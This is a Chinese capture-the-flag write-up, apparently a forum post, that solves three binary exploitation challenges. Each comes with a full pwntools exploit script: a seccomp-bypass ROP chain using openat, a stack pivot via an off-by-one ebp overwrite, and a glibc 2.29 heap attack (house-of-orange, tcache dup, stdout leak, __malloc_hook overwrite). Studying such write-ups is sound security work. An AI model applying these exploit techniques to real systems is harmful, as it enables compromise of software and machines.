前言
此比赛是韩国的一个CTF比赛,题目质量还可以。题目构思精细,比较有意思。
题解部分
0x01 How old are you?
此题是此次Pwn中较为简单的一道题目,主要是一道考察栈溢出和secomp的题目。 有栈溢出漏洞但是限制了部分syscall。 不能调用system("/bin/sh"),open被限制了但是没有限制openat , 那么这里可以使用openat syscall来打开flag文件,然后读取并write。exp如下:
#coding:utf-8
from pwn import *
# context.terminal = ['tmux','split','-h']
# io = process('./seccomp')
io = remote('211.239.124.246',12403)
# io = process(["/root/glibc_env/glibc-2.23-binary/ld.so", './seccomp' ], env={"LD_PRELOAD":"/root/glibc_env/glibc-2.23-binary/libc.so"})
elf = ELF('./seccomp')
libc = ELF('./libc.so.6')
context.binary = './seccomp'
pop_rdi = 0x0000000000400eb3
pop_rsi_r15 = 0x0000000000400eb1#: pop rsi; pop r15; ret;
main = 0x400A96
io.sendlineafter("Input your age","1")
payload1 = 'a' * 280 + flat(0x0000000000400eb3,elf.got['__libc_start_main'],elf.plt['puts'],0x400A96)
io.sendlineafter("name",payload1)
start_main_got = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
success("start_main_got == > " + hex(start_main_got))
libc_base = start_main_got - libc.symbols['__libc_start_main']
success("libc_base == > " + hex(libc_base))
io.sendlineafter("Input your age","1")
"""
read(0,0x602070,0x10) # bss
"""
payload1 = 'a' * 280 + flat(
pop_rdi,
0x0,
pop_rsi_r15,
0x602070,
0x0,
libc.symbols['read'] + libc_base,
main
)
"""
Gadget Here
0x0000000000033544: pop rax; ret; shared library
0x0000000000021102: pop rdi; ret;
0x00000000000202e8: pop rsi; ret;
0x00000000001150c9: pop rdx; pop rsi; ret;
0x00000000000ea69a: pop rcx; pop rbx; ret;
"""
# gdb.attach(io,'')
# raw_input()
io.sendlineafter("name",payload1)
pause()
io.send("/home/seccomp/flag\x00")
# io.send("./flag.txt\x00")
io.sendlineafter("age","1") # junk
payload1 = 'a' * 280 + flat(
0x0000000000033544 + libc_base,
0x101,
0x0000000000021102 + libc_base,
0xffffff9c,
0x00000000001150c9 + libc_base,
0x0,
0x602070,
0x00000000000bc375 + libc_base,
0x0000000000021102 + libc_base,
0x3,
0x00000000001150c9 + libc_base,
0x100,
0x602070,
libc.symbols['read'] + libc_base,
0x0000000000021102 + libc_base,
0x1,
0x00000000001150c9 + libc_base,
0x100,
0x602070,
libc.symbols['write'] + libc_base,
)
# gdb.attach(io,'')
# raw_input()
io.sendlineafter("name",payload1)
io.interactive()
0x02 sha1breaker
这题还是挺有意思的,漏洞点不是那么显而易见。比较有隐藏性。
程序的主要逻辑:
1.打开/dev/urandom并生成随机数种子
2.两个功能,第一个生成随机sha1,第二个是和特定hex对比。
3.整个程序我们可控制的范围很小。没有明显的栈溢出漏洞。
刚开始没啥思路,就checksec了一下 发现没有开启栈保护,于是乎猜测和栈溢出有关?
写上脚本盲跑一番,果然程序崩溃了。我们读取index选择功能的时候,输入一串'a'居然覆盖了eip。当时就比较懵。没有分析其具体原因,找了一下偏移,偏移是8,总共能输入32个字节,
构造ROP链只有24个字节,也就是只能执行一个函数的函数,然后执行完了连ret的地址也控制不了,当时就陷入了僵局。翻了翻函数表,发现一个函数没有被程序用到,可能是作者留下的暗门函数。 这个可以控制读取的地方,你通过多次输入发现size其实是和我们输入的eip的前8个字节的最后一个字节有关。后面的技术是栈迁移技术。
我们这里谈一下,如何造成了(栈溢出漏洞):
看此图
这里函数传入一个buf变量给gensha1。此变量的大小是24。sprintf函数用于拼接index和sha1。当index大于100就会导致破坏ebp,最后一个字节被覆盖为0x00。 这样直接我们返会到main再返回到__libc_start_main,两个leave会导致esp发生变化。通过不断调试,可以使esp的位置指向我们输入chooice的位置。这样我们就可以写eip了。这里是本漏洞的成因。下面是利用exp:
#coding:utf-8
from pwn import *
context.terminal = ['tmux','split','-h']
io = process('./sha1breaker')
elf = ELF('./sha1breaker')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.binary = './sha1breaker'
# io = remote('bincat.kr',30420)
pop_rsi_r15 = 0x0000000000400ec1#: pop rsi; pop r15; ret;
pop_rdi = 0x400ec3
def gensha1():
io.sendlineafter(">>","1")
def compare():
io.sendlineafter(">","2")
def exp():
one = [0x4f2c5,0x4f322,0x10a38c]
for i in range(99):
gensha1()
# gdb.attach(io,'b *0x400CAD\nc')
# print i
sleep(0.3)
# io.sendline('aaaaaaaa12345678bbbbbbbb')
rop_chain1 = p64(0x6020f0) + p64(0x400ec3) + p64(0x6020f8) + p64(0x400ABD)
io.send(rop_chain1)
# pause()
sleep(0.3)
rop_chain2 = flat(pop_rdi,elf.got['puts'],elf.plt['puts'],pop_rdi,0x0,pop_rsi_r15,0x602140,0x0,elf.plt['read'])
io.send(rop_chain2)
leak = u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
base = leak - libc.symbols['puts']
system = base + libc.symbols['system']
rop_chain3 = flat(base + one[1])
# rop_chain3 = flat(pop_rdi + 1,pop_rdi,0x602160,system) + "/bin/sh\x00"
io.send(rop_chain3)
io.interactive()
if __name__ == "__main__":
try:
exp()
except EOFError as e:
exit(0)
0x03 problem
这是一个libc2.29版本的程序,程序只有两个功能,一个malloc,一个edit。edit函数可以导致堆溢出。那么这里猜测可能要通过一些技巧制造出free的chunk。这里用的最多的就是攻击top_chunk。具体技巧可以参考house-of-orange。制造出free chunk之后使用tcache dup,利用_IO_stdout泄露。然后继续使用该技巧去修改__malloc_hook。具体exp如下:
#coding:utf-8
from pwn import *
context.terminal = ['tmux','split','-h']
context.binary = './problem'
io = process('./problem')
libc = ELF('./libc.so.6')
"""
[M]alloc
[E]dit
[B]ye
> M
size > 123
content > 123
========
[M]alloc
[E]dit
[B]ye
> E
size > 123
content > 123Alarm c
"""
def malloc(sz,con):
io.sendlineafter(">","M")
io.sendlineafter(">",str(sz))
io.sendafter(">",con)
def edit(sz,con):
io.sendlineafter(">","E")
io.sendlineafter(">",str(sz))
io.sendafter(">",con)
def debug():
gdb.attach(io,'')
def exp():
addr_stdout = 0x404020
for i in range(10):
malloc(0x128, "junk")
malloc(0x78, "junk")
# house of orange
malloc(0x10, "A" * 0x10)
payload = 'A' * 0x10
payload += flat(0x0,0x131).decode('utf-8')
edit(0x20, payload)
io.sendlineafter("> ", "M")
io.sendlineafter("> ", "1" * 0x400)
payload = "A" * 0x10
payload += (p64(0) + p64(0x111) + p64(addr_stdout)).decode('utf-8')
edit(0x10 + 0x18, payload)
malloc(0x108, "dummy")
malloc(0x108, "\x60") # stdout: don't corrupt this
malloc(0x108, (p64(0xfbad1800) + p64(0) * 3) + b"\x88")
libc_base = u64(io.recvuntil("\x7f")[-6:] + b'\x00\x00') - 0x1e57e3
info("libc base = " + hex(libc_base))
for i in range(13):
malloc(0x118,'junk')
malloc(0x80,'A' * 0x10)
payload = b'A' * 0x80
payload += flat(0x0,0xd1)
edit(0x90,payload)
io.sendlineafter(">","M")
io.sendlineafter(">","1" * 0x500)
payload = b'A' * 0x80
payload += flat(0x0,0xb1)
payload += flat(libc_base + libc.symbols['__malloc_hook'])
edit(0x98,payload)
malloc(0xa8,'junk')
malloc(0xa8,p64(libc_base + 0x106ef8))
io.sendlineafter(">","M")
io.sendlineafter(">","100")
# debug()
io.interactive()
if __name__ == "__main__":
exp()
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2020-1-31 14:56
被kanxue编辑
,原因: